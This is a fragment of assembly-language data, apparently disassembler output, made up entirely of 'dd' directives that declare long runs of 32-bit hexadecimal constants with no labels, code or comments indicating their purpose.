		dd 512329C9h, 8C3E47F9h, 67140B33h, 8978A271h, 0EBD181B1h
		dd 0F79577D7h, 2B5F4D6Dh, 0B5A1C660h, 7CCC1016h, 15D17626h
		dd 0F60E4D33h, 0ECB7F28Fh, 33793B27h, 9E003EFh,	0C54C52FFh
		dd 61B4B244h, 35605489h, 96573FA0h, 114D7DBBh, 198723F8h
		dd 7405A63Bh, 22145FB4h
		dd 9B21BBFDh, 0DB7BECC3h, 0D6E0B1DDh, 88AA8EB0h, 3A6BB536h
		dd 14624C25h, 620C3CE7h, 0C11D1363h, 0BB6C798Fh, 22738F13h
		dd 1E703744h, 77B956F3h, 2709E1E6h, 6F35B301h, 0A34983E7h
		dd 1897E562h, 0CC1D8F8Fh, 0EC54B47Eh, 0FE58D96Ch, 1876DAF7h
		dd 0FBE398CFh, 4D301136h, 41D73921h, 0D827F09h,	3B7C6D28h
		dd 0B794697Bh, 329FA961h, 45505A3Dh, 0B45F7872h, 0B41F9AE3h
		dd 7C700D7Fh, 95C434C5h, 146AF862h, 9359EBE4h, 4E63BAFEh
		dd 307C6DA3h, 4C6DA03Ah, 0CEFD53Fh, 95F3CE01h, 8C97EDB5h
		dd 73B54EDBh, 0BE642686h, 0AE4CB444h, 20C62C16h, 0BE8DF7A5h
		dd 0F77B6747h, 326E77A8h, 0DCB3F2CFh, 0A03C7F4Bh, 0B7F374A4h
		dd 9D47FED0h, 3A33122Fh, 0DC08FC2Ch, 27557B14h,	692AACCFh
		dd 44F13293h, 7F50DFB6h, 0B60B5707h, 0FF0C5F2h,	5EC5F8DEh
		dd 72F33FC0h, 94A00E64h, 25058323h, 0CEE08F79h,	0B1AEDD2Bh
		dd 0AFAC36DAh, 420BD561h, 0DC8DEAFFh, 2BA361E1h, 8C4E8062h
		dd 0FB60BDD3h, 0EA78F6F2h, 25F800BBh, 0E4B1271Bh, 0D39DB3A2h
		dd 7A933A57h, 0FEFBCECCh, 0B337EFEAh, 981CC448h, 16D74161h
		dd 0D27B37F7h, 2984E284h, 518971A7h, 44C0E341h,	135F6E84h
		dd 4C49D82Eh, 0E7F0C1A2h, 4208160Bh, 0EF21B22Fh, 772D966Eh
		dd 49E048A0h, 89FF8F6Dh, 3628C48Bh, 0D431654Fh,	0FF65CE87h
		dd 72F6EF29h, 8E5F89F5h, 74242004h, 18162801h, 0CED40063h
		dd 4F9523B1h, 3E5AE3FEh, 2F0144BDh, 4FF4AD68h, 0F0EE0C06h
		dd 32421721h, 0C4C86F60h, 0EB75E607h, 0DFD5C02Dh, 0D642211Ch
		dd 5B6149Ch, 0FE588462h, 4D6B661h, 0AE3629B5h, 4314BDCFh
		dd 0F3ACFE4Bh, 0BEA86CFBh, 0B1C28968h, 8AF036F3h, 0D6269117h
		dd 915B76BCh, 5AF91747h, 0E575D906h, 0CE3004C9h, 9A89FED2h
		dd 0A6554B3Bh, 0B27E3571h, 0E8104522h, 511176DBh, 0F0CD64D4h
		dd 0EC06D2A4h, 35A0130Bh, 0DECD1650h, 0CB4AF9Ch, 0B93C272Bh
		dd 663578A1h, 6D74BC20h, 445F0F70h, 39924649h, 3B6ED0A9h
		dd 437EC125h, 173CA1A4h, 66D9AF5Dh, 0B5C7A222h,	3AF5556Eh
		dd 91C49B72h, 20A21BDFh, 6D06AF2h, 1C78890Bh, 11454572h
		dd 2E6032A4h, 0ED65AFC5h, 0FD72AAF0h, 6E268F9Dh, 0D30C7439h
		dd 7313C278h, 0DE9200F2h, 0BB68F308h, 0EBDABB5Dh, 41C66FCCh
		dd 2B3137DCh, 0F5C4F596h, 1DC7C717h, 0CD1FEB6Ah, 0D2163109h
		dd 41DF27D7h, 0DEB82D6Ch, 8B0C3D95h, 9BBAB946h,	0BB98559h
		dd 570331B2h, 80920DE8h, 36523AF7h, 0F4393EE3h,	726B778Ah
		dd 39643BDDh, 621DB748h, 1C401AF7h, 0B0F7449Fh,	0D2F33D55h
		dd 2563AE6Eh, 0E057F411h, 0CA13CF52h, 0C8D3748Ch, 0B7A9D831h
		dd 9A1BF628h, 0A4398B29h, 8CFC0F0Eh, 0A214FAC1h, 462B95B1h
		dd 0F5E5DA60h, 0EEED6130h, 512DBE32h, 0ECDF0FC8h, 0BE02D3F2h
		dd 0D92BF7ADh, 46C95378h, 0A3E3B840h, 69C7FF8Eh, 0D118D869h
		dd 889C8029h, 0D158CF43h, 0BC3E5B6Dh, 7465037Dh, 0C443B2DBh
		dd 0FE4AFC02h, 1CD87218h, 6DA52998h, 946B3256h,	96F0BAFDh
		dd 0DA878093h, 3399B176h, 4518256Ah, 235051AFh,	3E71F624h
		dd 0EB24145Fh, 7A31810Eh, 0BBBB99CAh, 906F887Ah, 0FBE34D1Dh
		dd 0D242D121h, 0C6836D81h, 2DAD7F8Dh, 0D3D8B2F2h, 6854D3ADh
		dd 0AF41C8DDh, 4280A4DEh, 495E63A9h, 331A5884h,	8F75D0Eh
		dd 521428B3h, 0B0BA0C2h, 8EE120DCh, 0D180D797h,	46666AA1h
		dd 0FB0CDA26h, 1B1A03B2h, 4D3EE576h, 674D0DC5h,	7D28DD4Ch
		dd 30566F6Dh, 5A110E05h, 0A4F0D1FAh, 369A4B10h,	0B01F9505h
		dd 773E7A41h, 8B856D35h, 34B29B32h, 0BC0DEF7Eh,	39DC0623h
		dd 0CBA53502h, 5BB6D96h, 0DD5C4A6Bh, 228B4060h,	4EDC7D1Ch
		dd 2D8402F2h, 1B4D5896h, 0B6B99AE8h, 0BE480B9Bh, 0D190D2ADh
		dd 0A2148BEAh, 0F096546Fh, 932A5D44h, 573202E3h, 984F3A4Ah
		dd 92945C5h, 14512934h,	87ED544Eh, 1335C672h, 0C8BB8FCDh
		dd 625EA0E2h, 854DCE4Ch, 0F36C40DBh, 3F886DE4h,	1320244Bh
		dd 47DC937Ah, 0AB1B37F6h, 0B3BA7A0Ah, 7D9D50BAh, 11DEB790h
		dd 7E35EEC6h, 67B971D9h, 991E1C1Dh, 96C4C13Dh, 0D7A17D24h
		dd 3E7B5D9Eh, 0CEAC7E4Ch, 0BA3B5BC4h, 215437AAh, 0D59F8172h
		dd 96DDD43Fh, 1DC0DC0Eh, 14C03304h, 0F124B82Bh,	782AAA65h
		dd 0BAFF8AEBh, 0F138C6Eh, 709100BFh, 8B9C8857h,	7A676A09h
		dd 7F2CCF91h, 92675A7Ah, 0B78764B8h, 751200A6h,	2EFC46DAh
		dd 0DF3DF457h, 33062F1Eh, 6FBD15Ah, 84D8A5F3h, 8F1A8270h
		dd 0AF32B807h, 0EF7DEF8h, 9510BBE8h, 0DB991CF6h, 6CBB2439h
		dd 63FCB18Dh, 68A0342Ah, 0A76F1B8Dh, 4335BB12h,	0F631C888h
		dd 66F59E9Bh, 0B0A8B7A1h, 0D5A60251h, 11BB3278h, 0B2C222B0h
		dd 7B2F6C47h, 1FA9F8BDh, 9C65A849h, 2547B4CEh, 6BBCB9E4h
		dd 0FE4DFD20h, 444627DAh, 0B2299203h, 0AE3D3834h, 0F260B03Ch
		dd 0FF21F0D6h, 0C1E9031Dh, 0C3658F0Dh, 7754A43Bh, 9E959DCh
		dd 89B69603h, 0FE1C023Eh, 9048A1FEh, 9B73235Ch,	0AE19A51h
		dd 0D4097D1Fh, 8C9227D1h, 3DC1967Dh, 0BA9E95Fh,	0EE381BBAh
		dd 5A79BAADh, 0EB784328h, 0E7305654h, 23DEC96Ah, 9131FCDDh
		dd 5AB23B3Ch, 2D658B55h, 7571D981h, 6FD25B7Ah, 755C1FC6h
		dd 95907FAh, 73C762ECh,	0C550D668h, 0B2097896h,	6F81C6C7h
		dd 58A16406h, 42079616h, 5A7ED20Dh, 0A1DB8503h,	850F8C0Dh
		dd 0D4102380h, 1A9B621Ah, 9B4F6D26h, 865EC163h,	0A55E2813h
		dd 8B00C82Fh, 772B62D0h, 6FACA711h, 0CDEE8D64h,	1D957537h
		dd 39673EC9h, 0A9B8356Fh, 3EB8A62Eh, 47307863h,	30CC87DEh
		dd 0B0945F0Bh, 0A1CD514Ah, 4E4278BCh, 0D709971Ch, 28994C16h
		dd 56867A03h, 0F2029156h, 21054CB3h, 3D6ECDC9h,	8F02E1C0h
		dd 2F8F70Fh, 571B9F49h,	56ECC4A8h, 0ADFC5F52h, 88F03BBEh
		dd 5CE3144h, 0A36878B0h, 2B0A5F8Dh, 83400AB8h, 0ECA1A7E1h
		dd 1A4E1B1Fh, 0E01276C4h, 0CF31DAC5h, 0D9CCB8D8h, 753D5BF5h
		dd 58EE581Dh, 314378CAh, 0E1C384C1h, 3A50BC02h,	4FDDEC2Dh
		dd 2CEA5EDDh, 27248B5Fh, 75608C9Ch, 821843C8h, 95725FECh
		dd 29F91C4Eh, 0FE43484Ch, 0CA00E32Ch, 0A7A716F9h, 9073CE69h
		dd 80627F4Ch, 1F66E217h, 2DF60E7Dh, 5821F741h, 288232A9h
		dd 0B7F84262h, 0CC55F97Eh, 27776720h, 499691BFh, 2F21D69Ch
		dd 10E1A9F4h, 0EA88DE0Fh, 6C60DB1Ah, 41977A5Eh,	0B5403E21h
		dd 347B9CF6h, 861DDE01h, 4B7A151Ch, 0BC4D161Bh,	18DCA73Eh
		dd 0F1093F37h, 731A84DBh, 0D2E355F8h, 182D9A8Eh, 0FAA241C8h
		dd 0EDD1126Dh, 40B47EBFh, 5A3434C4h, 0F1B28074h, 0BB81699Ch
		dd 0E4A2AF53h, 0ED684752h, 436FD549h, 70BDBD88h, 0D246C22Fh
		dd 5CCDCF42h, 0B074E3BAh, 0D9131F68h, 0AF138EF0h, 8E76D0DBh
		dd 17BC047Bh, 0DFC18767h, 0F0313226h, 66DDBB83h, 9678EF2Fh
		dd 1040A766h, 0FDDB3EC0h, 8D2B5179h, 0ACA97B20h, 29A82910h
		dd 0BBB9070Ch, 2E0857D4h, 4E55A672h, 0A910B2DBh, 241AF13h
		dd 0CD16F91h, 14CC8E01h, 0ADBEC7BCh, 3702B9F9h,	74A80DCh
		dd 0B78DC64Bh, 1A9D993Dh, 14B5BA1Eh, 5562DBFFh,	96DB345Dh
		dd 956144Ah, 15905420h,	0B0B939D8h, 0D68BAA77h,	1F6D8301h
		dd 4274084Fh, 56E5CAC9h, 0FBB766FBh, 66105805h,	94DB2C06h
		dd 1CCB1F8Eh, 0E112951Bh, 30FD8F4Fh, 4F3174C5h,	0E9B68252h
		dd 3D1C148Dh, 550E8C3Eh, 6B9FCF64h, 8621DFF7h, 50000A10h
		dd 651D893Fh, 4AD46286h
		dd 490C386h, 0CECFC52Ah, 6E0F22EBh, 0EEECF002h,	0BBB01811h
		dd 0BA34CC06h, 0CB1B424Eh, 7EA196ADh, 0CA5E731Eh, 31E2FEE5h
		dd 8A6CB870h, 0C7AC4AC6h, 0E23A6395h, 5C255188h, 18F68FB8h
		dd 1DE2511Fh, 0C2E5C625h, 0E2B69ADh, 0B43997A4h, 0CBAF93ADh
		dd 2466A22h, 0E7D5CD32h, 3A8A1B51h, 943CBDE5h, 3C0CA0ECh
		dd 1EB3EA9h, 0CBA9C080h, 0B4A42CFEh, 8C841434h,	59ACD421h
		dd 32359A71h, 0F07AEAEAh, 0A0A02350h, 46F17270h, 16C7370Eh
		dd 333C4449h, 10FAFB13h, 9D059963h, 4134F4ECh, 0F42FDFh
		dd 0D60E994Eh, 58D525ECh, 0DB38B3BBh, 0ED79E6F1h, 762314BCh
		dd 745D2B8Ch, 30521912h, 0C6B40EBAh, 0B112562Dh, 0BB45726Bh
		dd 0EAC14EE3h, 0DAA34FE9h, 3016A5A8h, 8C09578Ch, 0B952E4AAh
		dd 0D36F514Fh, 7A25DEDh, 0F2CECB65h, 0D3673610h, 8ACD4FCCh
		dd 2ACB9749h, 0F7D7639Fh, 5A2D68B6h, 28906A06h,	53D7A84h
		dd 8DE2DADBh, 30EBAAC2h, 4DEBE21Ah, 0B383ABC6h,	21359494h
		dd 3466C378h, 23BBE0B0h, 14F4FF66h, 282DD423h, 0BC7EF6E6h
		dd 0B11A53Bh, 82835912h, 0A1DF9EF9h, 16ACEDFh, 8DBDE65Bh
		dd 229209F1h, 99E385B0h, 549231C3h, 34B58B7Ah, 3FEF2A09h
		dd 0C4F0FEB5h, 5DBD05F8h, 0EB3E9594h, 9ED480F7h, 4E95DE36h
		dd 6C42FAC1h, 23AACA2Eh, 0CCF73277h, 1A347CD8h,	0E350EA36h
		dd 87BACB08h, 387516F8h, 221A5501h, 97D96AD6h, 0D182C3EDh
		dd 11223F9Fh, 0CF3A94BBh, 301E0C4Bh, 4D75E54h, 0D2BDE84Bh
		dd 1AA2EFBBh, 0C1700EACh, 58E429FDh, 5CBA4FC1h,	0F6222D44h
		dd 7C1D6C70h, 210C6088h, 0D02D6364h, 6FE10772h,	9F75187h
		dd 9996E879h, 7A6FF9CFh, 31A5E37Ah, 23C4172Ah, 9AB1ACF7h
		dd 6EAD0C98h, 0F827E06Ch, 8FD60E08h, 3056103Bh,	3EABEEFCh
		dd 61623008h, 6B4433D6h, 319D9ECh, 0F91E61F0h, 320759FBh
		dd 0FCDEC43Dh, 48F5956h, 94195607h, 0F8EF56B7h,	201C19B5h
		dd 0AB7474D8h, 23C2C4C4h, 0A0E13A19h, 6A84747Ah, 9AB0E6B5h
		dd 650931C7h, 7B2BE318h, 487ACD6Ch, 0B4BCDC37h,	482FBC8Bh
		dd 4269A621h, 0B064A22Ch, 65E8C610h, 6F87B3D5h,	9C094A86h
		dd 49B7C967h, 9E8CB9F5h, 16D0773Bh, 0FC5D88E8h,	0E12F412Ah
		dd 8A402C97h, 34000C9Eh, 6A64CDDBh, 846869F2h, 0AD1D5169h
		dd 9957F472h, 9DA4BEA0h, 0E74B874Fh, 0F119D87Ch, 0E11E5FE1h
		dd 0B7402530h, 9B85AC32h, 1121AE09h, 0FAD67A7h,	8CC97C96h
		dd 0AD0E98Bh, 266A4DFDh, 0D827E735h, 0BFFCAFDEh, 1B38D806h
		dd 649E604Ch, 0DFCC5026h, 0F9E001B0h, 0AA50489Bh, 428B497Fh
		dd 0DE37EF13h, 0F44FF7C9h, 0D7F5F28Ah, 0B1D9DD7Dh, 4B303882h
		dd 0FAFEC51Eh, 0E938AD28h, 0EFDDA744h, 4D0BD564h, 6E81C4D0h
		dd 9BF9B641h, 53D625B9h, 0EC3477BDh, 0E9387FBh,	0D765CFE2h
		dd 2E8DB224h, 0C8A88186h, 799D6E96h, 0E7335AA2h, 0DD2226EEh
		dd 0ED6A8CF8h, 36A8C187h, 6902827Dh, 29596CD3h,	0B27269C9h
		dd 68B72AB1h, 244F9079h, 3D177567h, 493E36B3h, 3DA41A99h
		dd 0AD7B058Ah, 9C75B53Eh, 73E12D86h, 3DC60C93h,	1E324CF4h
		dd 7B152C91h, 0C4F4731Eh, 3D0A6A60h, 1DF7E4D0h,	0C6B95734h
		dd 3022BA1Fh, 0D38C7955h, 0BF29C759h, 574B381Ch, 0DC5C0740h
		dd 0D88645A5h, 393C2808h, 7C21931h, 0CC37D940h,	4041394Ah
		dd 33AB5458h, 0BA7FC77Dh, 6FD3812Eh, 0A951F8A0h, 0BAB81F0Eh
		dd 0CB603245h, 0DFD586B2h, 40EA2E45h, 0A469034Eh, 9889FD05h
		dd 6CE0702Dh, 16CAE08h,	0FFE0AF20h, 0EF9255F9h,	6859499Bh
		dd 0FA99C0E2h, 0B1A512ACh, 0ECB41EDEh, 0ED81683h, 40C055BBh
		dd 0B4A40C47h, 34CDDF72h, 0BFA6DE12h, 0F653CF45h, 4EA16B31h
		dd 458AF79h, 637D1F53h,	5605CF5Eh, 67EA7E77h, 0D2CF1C70h
		dd 29F4A320h, 0B0A31DC7h, 159670D0h, 7A086AD6h,	7C175A02h
		dd 9DDA5F06h, 9304C89Eh, 723B7609h, 5DD8EE76h, 0BAE55C6Ch
		dd 0D9DD1A8Dh, 0E4F449F9h, 36167D6Bh, 456274D6h, 2204FC0Dh
		dd 70B997C5h, 57A80C36h, 0CD50510Ch, 21DEA531h,	0BDD4FCF3h
		dd 0FF7AEE14h, 8D4E90A8h, 3A7E9CBFh, 5653E0ADh,	0BD17C150h
		dd 83F7F421h, 0A2EA13F9h, 715DBADFh, 2F322469h,	89F7ABF8h
		dd 24DD137h, 0D914B0B3h, 0FBF23B08h, 0B218A29h,	0C694887Ah
		dd 65C655B0h, 0C67BDAFh, 0C6188DC9h, 0E578693Bh, 0B4484AC4h
		dd 3A34FC98h, 3716F7Dh,	0CFE51E23h, 97EAA067h, 0A4B92689h
		dd 134F33DDh, 84AF2701h, 0FC834C5Ch, 34B70797h,	0E0C2E6CAh
		dd 77C2AA71h, 9A48C828h, 0A112D915h, 0D41891C1h, 0B595F696h
		dd 94DF7C35h, 16FE0164h, 9979869Fh, 5043439h, 90F59D62h
		dd 3568CD32h, 5477674Ah, 8F561E17h, 0E2DA9764h,	26DD7309h
		dd 7C4CAAD4h, 1ED54A2Dh, 7390A6F8h, 125FCEA4h, 585397BAh
		dd 3A5CFA0Ch, 2A2A0077h, 5917DBA3h, 0DD921E69h,	52DD189Dh
		dd 0E7403646h, 389DF0ABh, 8CDD8862h, 8C6D197Bh,	7CD71C6Dh
		dd 5E52C0D8h, 0C9545116h, 28FBD6BAh, 0D79B8834h, 3FF8C624h
		dd 664852C9h, 0D516143Eh, 5D834510h, 748AFD32h,	9C856E60h
		dd 1B6663DCh, 720CBADDh, 5E6F7B3h, 0D768F8h, 0EA9846C4h
		dd 44002B6Eh, 0F8FE41B9h, 987B92Bh, 0E18B0F7Ch,	0EEC1D619h
		dd 8F65CEB1h, 83272609h, 0CC784475h, 36C0C0A9h,	94BFF890h
		dd 3F73C576h, 0CF092B56h, 0BEB27FEFh, 29B24218h, 0F98A309Bh
		dd 7DCD6619h, 0D917AE36h, 0A006BF48h, 537B6F0Bh, 4040A5B0h
		dd 0C0FEC7DFh, 6B01F426h, 0CB51B97Ch, 0B63CB7E2h, 595CFD4Dh
		dd 4F86D110h, 122BAB86h, 5120ECC3h, 267782BCh, 0F4A14D8Bh
		dd 0ECF32EFDh, 0D9B92017h, 0D2201335h, 27D88001h, 0D6150E1Ch
		dd 0DF953FCDh, 0CE153D81h, 50A0384h, 1DDAF2CDh,	0B12828D7h
		dd 80D10CB6h, 49F4DFAFh, 62541A75h, 4285DD74h, 2BE242C1h
		dd 0DA690F9Fh, 57B7056Dh, 0FB4D5AA8h, 72E71E17h, 8EF5B7B6h
		dd 38533346h, 7141A04h,	61A203FDh, 64C7612Ah, 0E3B19BC9h
		dd 2690640Dh, 7B0C5735h, 2CAE93DBh, 8F8D3A1Ch, 10E0F4F9h
		dd 41E95A6Dh, 0AB224327h, 0D4D2BBDCh, 5832E6A3h, 8C8552C8h
		dd 1B05CAB6h, 0B183DBF8h, 431FA4BFh, 6109C407h,	0F678193h
		dd 0C391B140h, 25784A59h, 0D744362Dh, 9FBFE40Bh, 0BB716104h
		dd 14FA1B7h, 0DDBDBF76h, 3A324250h, 4ACF3221h, 0E1ED6609h
		dd 0AD53AE05h, 0B29B4017h, 95F76F0Eh, 1F06AA70h, 5BDDC7DFh
		dd 0F8665012h, 2850E902h, 30B98796h, 54F4504Eh,	5E8ED910h
		dd 139DFD8Fh, 0C4036C4Ah, 2647A316h, 24A04080h,	56F132C9h
		dd 0DEC850C7h, 0D2DCEA20h, 24D212F9h, 0D617E71Dh, 0DD653DEFh
		dd 0CE55DF2h, 0C8F401C8h, 0D6D6B2C8h, 770EE68Ah, 8D2F76Bh
		dd 0BE908C28h, 2455DD02h, 0FB547FBCh, 23F6847Dh, 0DD32A458h
		dd 5445CA69h, 6E6D169h,	187CC4B7h, 0FE911844h, 65C2FC5h
		dd 70B19E9h, 73FEF085h,	0D95425D5h, 0E7D75D42h,	2E551C9Dh
		dd 8F527478h, 84FB60DBh, 0AC964BC2h, 1F139570h,	0BF06F9DDh
		dd 8B235EA3h, 0C4A985Ah, 1637BBCh, 48340945h, 76F8BBCAh
		dd 9805403h, 431397C0h,	212927D9h, 0B46760A2h, 8395357Dh
		dd 8E74359Dh, 4C4C161Fh, 83EB6F08h, 0BEF88504h,	474BDC96h
		dd 0C0CE3434h, 7C399C76h, 415132A8h, 24A07AD7h,	4FC627D9h
		dd 0EE3401Dh, 28FAB70Eh, 9358AEF4h, 9464C672h, 0DB725897h
		dd 4927AA02h, 0F4F82E3Bh, 41D2A04Ah, 0DC6A48C2h, 0E795718Bh
		dd 0C89B02CFh, 0A4B0C916h
		dd 35477004h, 555720DFh, 0DEB43B02h, 0DC6A6030h, 0CCC88147h
		dd 0D62EEF4Eh, 0E60942DAh, 39E0EB05h, 150B5843h, 9DDA075Bh
		dd 7082E17Dh, 1C5E3FC3h, 0E2C5AAD9h, 294F4F49h,	25DE15DBh
		dd 10F6813Fh, 5195FA37h, 599D8C0Fh, 7B8315EBh, 0E236156Ah
		dd 48D16EA3h, 0F72D53B4h, 8F01C20h, 5D7A34CFh, 247967C2h
		dd 0E661BC8h, 7FB7BFD9h, 0AB219CFDh, 0A908E818h, 5C7A8BACh
		dd 0E8CF0DD6h, 0FFCFEEDDh, 0A86C5A2Bh, 88521C3Ah, 1BB3D3Ch
		dd 4CB76BF3h, 0FB8EAA52h, 35EBACCCh, 4302ACE2h,	65C3E5AEh
		dd 0F6047BAh, 4390107Ch, 244CE84Eh, 0F7442E67h,	0E6C3F76Ah
		dd 737168EBh, 0EC41A48Fh, 8FB0F9C8h, 82324D96h,	4A0FC731h
		dd 672D6659h, 0DD6E71F1h, 0D36B41E6h, 5AD47B14h, 17BAA784h
		dd 0B10C7DEh, 3A0029D1h, 1A4D6902h, 377515C7h, 25FA81B2h
		dd 63BC8399h, 0B937844Fh, 2E93007Ah, 0D553989Eh, 0E5006136h
		dd 8E8041A2h, 0EBDF88E4h, 5252D2E0h, 0DA23B19Ah, 0E7C6838Bh
		dd 9288A5E6h, 4DB00C79h, 99258A5Bh, 0CD1AD287h,	0E59BB236h
		dd 338FF4FFh, 52EF130Ah, 296BE674h, 6286AF51h, 0A31FCC8Bh
		dd 0E5281BB1h, 9DF43463h, 0EA88D62Fh, 761F8156h, 0FBF6DCEFh
		dd 0EA27141Fh, 0DAD70F36h, 0F43B0E29h, 8BA13950h, 69269281h
		dd 66D9330Dh, 9FB7B3C7h, 0E85444BDh, 748B8A4Ch,	679E22F8h
		dd 361EE361h, 0C4B7F8EBh, 5DD11D7h, 0D8223808h,	0BED75B87h
		dd 0FA8914Eh, 184C11E3h, 0FCA6B821h, 1FB827A7h,	2B9BF716h
		dd 0E4C097D6h, 0DBC02760h, 2E1D2530h, 8B5C6518h, 9AC8D8FEh
		dd 0AAE27798h, 8D07B2AAh, 0FCF373DEh, 9A34E179h, 0EE11FDCCh
		dd 833B9F35h, 23F3770Dh, 25F944FAh, 0C6696A9Ch,	33E62D94h
		dd 65FB8EA9h, 98C0F84h,	3552A71h, 748AD1E1h, 48EEF261h
		dd 0C8A77D4Bh, 0D51E32E2h, 782286E2h, 0FC5AE429h, 0CD251D66h
		dd 0F22D08EFh, 310C0E11h, 0EB3D7A24h, 0CB5DF576h, 0A642FB3Dh
		dd 0C01D686Ch, 2B23834Eh, 67D024E5h, 7162DC7Fh,	2337A241h
		dd 0ECA1406Fh, 0CBDD95FEh, 8C8140A6h, 354DBBECh, 2C4922Dh
		dd 27895115h, 16A44183h, 8CB111F4h, 1A7585B0h, 6DB03148h
		dd 1F4B87CAh, 0CC7B00B8h, 57574218h, 5CBA6B3Eh,	96826317h
		dd 5401EF61h, 0BCBA45B6h, 45D21418h, 8ABE439Ch,	0E7126947h
		dd 21AE2E27h, 0B307AFDFh, 2D713CDBh, 0CDA5762Fh, 84F05449h
		dd 4B0E3631h, 31068596h, 0E06306F9h, 7C93F57Ah,	264F88E5h
		dd 0CC288678h, 0A7A11134h, 0DBD4667h, 0B7FBBE8Ah, 0DA2C057h
		dd 343522B7h, 2B2B866Ch, 2A15DD84h, 24B75Ch, 96DBD18Ah
		dd 8B53A153h, 5705966Eh, 0B39CAA4Bh, 3E791B7Fh,	0E7A29D54h
		dd 0B77CCFADh, 84C40318h, 9B202C3Ah, 4DE66C24h,	1252635Fh
		dd 0C6F0BC58h, 0C5D73AE3h, 0FB0B0E23h, 62D571BEh, 6A2F71F4h
		dd 43AEE113h, 0C5083770h, 0F8F0A502h, 1B44D319h, 6DCCB4BBh
		dd 0C2C3D229h, 638D9117h, 0AD7F1906h, 564ACD5Fh, 0E9A4DB71h
		dd 351FDBD4h, 6D0745DCh, 0A2C599BAh, 981FD37Dh,	8D72B261h
		dd 98DBDC3Dh, 0A7F390AFh, 2E931C3Ah, 67C0837Fh,	0E7D2D865h
		dd 0EBD0AC33h, 0A6F01CE5h, 2C02F857h, 7A2EBEF8h, 0B4EAD0B6h
		dd 1D45D9Ch, 0E5EB6A29h, 0C49AB381h, 4A14A5C3h,	0D24B1A6Fh
		dd 0BC26A17h, 140DA12Eh, 0D3DF1DCh, 2897F562h, 0CFFFA838h
		dd 0DE9E4544h, 62C495Dh, 71D7CCEFh, 73FA6DBDh, 2A1C6AF1h
		dd 8F04FCC8h, 62F6DF0Eh, 96931F9Dh, 9EEB722Dh, 0B44F66Dh
		dd 8C9D47E1h, 0E678CFB6h, 991E5D22h, 0AF9CC8EDh, 50FF485Ch
		dd 317D8AD2h, 0DDFA27BBh, 229D6112h, 0C2F464B0h, 625F0532h
		dd 0F0F6EC50h, 0B23C323Eh, 198AC340h, 0EE086554h, 5DDA6526h
		dd 0D375891Bh, 25F164Bh, 0C5132676h, 3B3EC914h,	5C13C0DDh
		dd 0C7B424FBh, 4DF2B453h, 0F74FA711h, 43241C28h, 0AF8125Dh
		dd 0AED622F5h, 54C1595Ch, 0DBB4EDB8h, 7A0F1152h, 0C6A030B8h
		dd 0E69186DBh, 5B16EDDFh, 55ABAC92h, 2BE0E06Dh,	0AE49DC2Ch
		dd 972F6195h, 9CB1771Bh, 89E57614h, 4F885E25h, 1FBC05BAh
		dd 396206CFh, 0FB721872h, 4CFF7662h, 0BA52CD3Bh, 264EDFC6h
		dd 0F8D0ECC8h, 0C6F9F582h, 1164496Eh, 304DBFFEh, 0B1365460h
		dd 34523470h, 0FA812D98h, 2EE3B7A9h, 7CD2C738h,	0A313526Ch
		dd 3EE06AF9h, 3F229636h, 56CFDD74h, 0A01CDB67h,	0AE407AD7h
		dd 60851813h, 0B3DF2015h, 0EB9BE957h, 6875BA22h, 0F1956730h
		dd 53873EE5h, 0AF925F9Eh, 168FA0D2h, 0B61029Dh,	757EB23Dh
		dd 9E13022Ah, 0F54CE085h, 0D3EAC02Fh, 0A66E2302h, 0A4A4565Eh
		dd 0BB590CDBh, 0DC99A145h, 307C1EA5h, 8FB0AF7Dh, 0F6D5C929h
		dd 49D9540Eh, 0A10B2927h, 82319B6Bh, 62539018h,	9F63214Dh
		dd 8C1230F5h, 321E6767h, 0F63B708Eh, 0CB6DBA88h, 36F2365Bh
		dd 69B58E9Dh, 0EF913D79h, 0E62E4C00h, 45C408A8h, 6FBB45DCh
		dd 6C3326D1h, 0C45A03B4h, 951F7F44h, 891D9D9Ch,	0C70AE892h
		dd 1D2F1A9Bh, 48AD9BF1h, 1EC6AA16h, 8D045C98h, 1C44A71Ch
		dd 49EF283Bh, 0FF2995FFh, 0B2C914Fh, 0CE1A5288h, 81EA2276h
		dd 1AED5ECBh, 7CEC4C67h, 98574C77h, 0B3A03F7Ch,	0D6C1283Fh
		dd 3BEF8E09h, 999C1CB6h, 6A5A1CBAh, 96294B40h, 9E9C4E64h
		dd 0DC04C42Dh, 6EACF030h, 345495C1h, 57256077h,	0CBB564F9h
		dd 64A9AB9Ah, 5189D324h, 0D3F3EAABh, 0A936B891h, 8D7AEB30h
		dd 0CB59862Eh, 0FA5E059Ch, 75C75B9Dh, 5751F9DBh, 0A81F3EE4h
		dd 341E672Eh, 7D3C6C7Bh, 4A74974Dh, 0C12CA944h,	0FF5A41B0h
		dd 6B4DCFBAh, 0E7848304h, 578400B4h, 21201188h,	0A7594AE7h
		dd 0F306D594h, 0E5A03C6h, 0F8B3AC34h, 0F9AD27AAh, 34012D1Ah
		dd 68B0D695h, 6CDB0796h, 0F5A6FA9Eh, 52593E37h,	7D664616h
		dd 0BFCDD197h, 0AA0FB96Ah, 0EC185ED3h, 0A6A8C0C8h, 84DF7A8Fh
		dd 593922A1h, 1309DBA0h, 21363FE5h, 8027A038h, 4D0BDBC2h
		dd 8AB1BAB8h, 29080715h, 970F2503h, 0A025903h, 0E724B610h
		dd 992C6681h, 702CA019h, 6A260252h, 0C54DC0AAh,	0A89A382Ch
		dd 0AD25AC4Ah, 7E4727BEh, 0C29D7F66h, 805E1F1Eh, 0AADFB9C3h
		dd 15091D07h, 0CBA2CF72h, 0C3D0C6F5h, 16B54ACh,	5981D586h
		dd 0EF168C0Fh, 0AAD0FCC1h, 8AF3EE54h, 94478C99h, 82E14F3Ch
		dd 0F72A1361h, 0CDADA04Fh, 0C7A792DDh, 8C53901Ch, 20C81CDCh
		dd 435BD404h, 0AC78230Fh, 9B902CDAh, 4E1DB176h,	4F752FFAh
		dd 2EC16403h, 91BB558Bh, 89CA119Eh, 6BDAFF74h, 0D395DE71h
		dd 0FDE2E5CCh, 0CFD5C7D9h, 23F48AFDh, 0E75ADF23h, 0C5A24AB8h
		dd 59DD619Ah, 3B9ED148h, 0D64A1DB0h, 8855896Dh,	0A0B24CA9h
		dd 28ADDE71h, 0F46065A6h, 8522F64Bh, 8F8BA231h,	14025249h
		dd 2E9F8043h, 0A5065102h, 2112C88Ah, 2006A0C1h,	0AB322517h
		dd 6B64C7F4h, 7FD4A25Ch, 1D27F3F4h, 0D964675Ch,	36FCAA88h
		dd 0B43F8292h, 4842B879h, 3025365Dh, 747B2A25h,	0A4B96F1Fh
